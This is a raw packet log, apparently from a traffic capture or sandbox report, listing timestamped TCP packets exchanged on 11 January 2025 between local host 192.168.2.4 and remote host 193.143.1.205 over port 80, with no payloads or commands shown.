Jan 11, 2025 07:13:08.273684978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.273695946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.273715019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.273740053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.273854017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.273863077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.273895025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.273956060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.273967981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.274013996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.274184942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.274197102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.274208069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.274219990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.274233103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.274234056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.274256945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.274599075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.274615049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.274625063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.274636984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.274646044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.274650097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.274662971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.274698019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.274960041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.275046110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.275057077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.275085926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.275213957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.275227070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.275233984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.275244951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.275264978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.275290966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.275546074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.275562048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.275578022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.275589943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.275595903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.275777102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.304383039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.304403067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.304415941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.304435968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.304446936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.304482937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.304639101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.339261055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.339324951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.339338064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.339354992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.339365959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.339500904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.339507103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.339536905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.339540005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.339611053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.339644909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.339720964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.339730978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.339761972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.339839935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.339849949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.339885950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.362993956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363034010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363054037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363065958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363076925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363087893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363100052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363110065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363121033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363132000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363143921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363154888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363166094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363178015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363190889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363229990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.363229990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.363262892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.363262892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.363348961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363359928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363370895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363383055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363394022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363404989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363424063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.363440990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.363769054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363780975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363811970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.363862038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363873959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.363903046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.364017010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.364027977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.364058971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.383420944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.383452892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.383466005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.383523941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.383584976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.383647919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.383660078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.383686066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.383779049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.383790970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.383805037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.383817911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.383933067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.383944988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.383970022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.384062052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.384073973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.384103060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.393507004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.393549919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.393560886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.393569946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.393600941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.393614054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.393625021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.393656015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.393702030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.393712997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.393743038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.393846035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.393858910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.393897057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.393997908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394011021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394042015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.394114017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394124985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394172907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.394223928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394237041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394268990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.394340038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394443035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394454956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394467115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394479036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394480944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.394501925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.394788980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394800901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394814014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394825935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.394835949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.394857883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.395036936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395076036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.395117998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395236969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395248890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395260096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395281076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.395298958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.395482063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395494938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395505905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395529032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.395683050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395695925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395709038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395721912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.395746946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.395914078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395926952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395937920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395950079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395956993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.395967960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395977974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.395979881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.395992994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.396022081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.396555901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.396568060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.396581888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.396595001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.396595001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.396620989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.396796942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.396809101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.396826982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.396841049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.396853924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.396856070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.396869898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.396892071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.397310972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.397324085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.397335052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.397346973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.397357941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.397361040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.397368908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.397381067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.397382975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.397387028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.397393942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.397454023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.397989035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.398017883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.398030996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.398060083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.398096085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.398160934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.398180962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.398191929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.398205996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.398217916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.398242950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.398504019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.398514986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.398556948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.401045084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.426042080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426059008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426070929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426160097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426172018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426183939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426217079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.426218033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.426409960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426422119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426439047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.426457882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.426512957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426604986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426615953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426640987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.426728010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426738977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426750898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426762104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.426779032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.426804066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.427045107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.427086115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.449017048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449033976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449047089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449132919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449146032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449157953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449191093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.449191093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.449322939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449336052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449350119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.449372053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.449453115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449465036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449475050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449486971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449496984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449497938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.449537039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.449709892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449747086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.449795008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449826956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449865103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.449887037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449898005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449908018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.449935913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.450076103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.450114965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.450140953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.450226068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.450237989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.450263023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.450333118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.450370073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.450400114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.450411081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.450445890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.450448036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.450459003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.450503111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.450661898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.470429897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.470453978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.470464945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.470557928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.470568895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.470612049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.470612049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.470726967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.470738888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.470748901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.470758915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.470774889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.480293989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.480351925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.480396986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.480411053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.480523109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.480534077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.480545998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.480566025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.480570078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.480581045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.480598927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.480798960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.480866909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.480879068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.480910063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.481012106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481024027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481034040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481045961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481051922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.481081963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.481405973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481417894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481430054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481440067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481441975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.481451035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481463909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481472969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.481501102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.481837988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481849909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481861115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481872082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481873989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.481883049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481894970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481901884 CET	49730	80	192.168.2.4	193.143.1.205
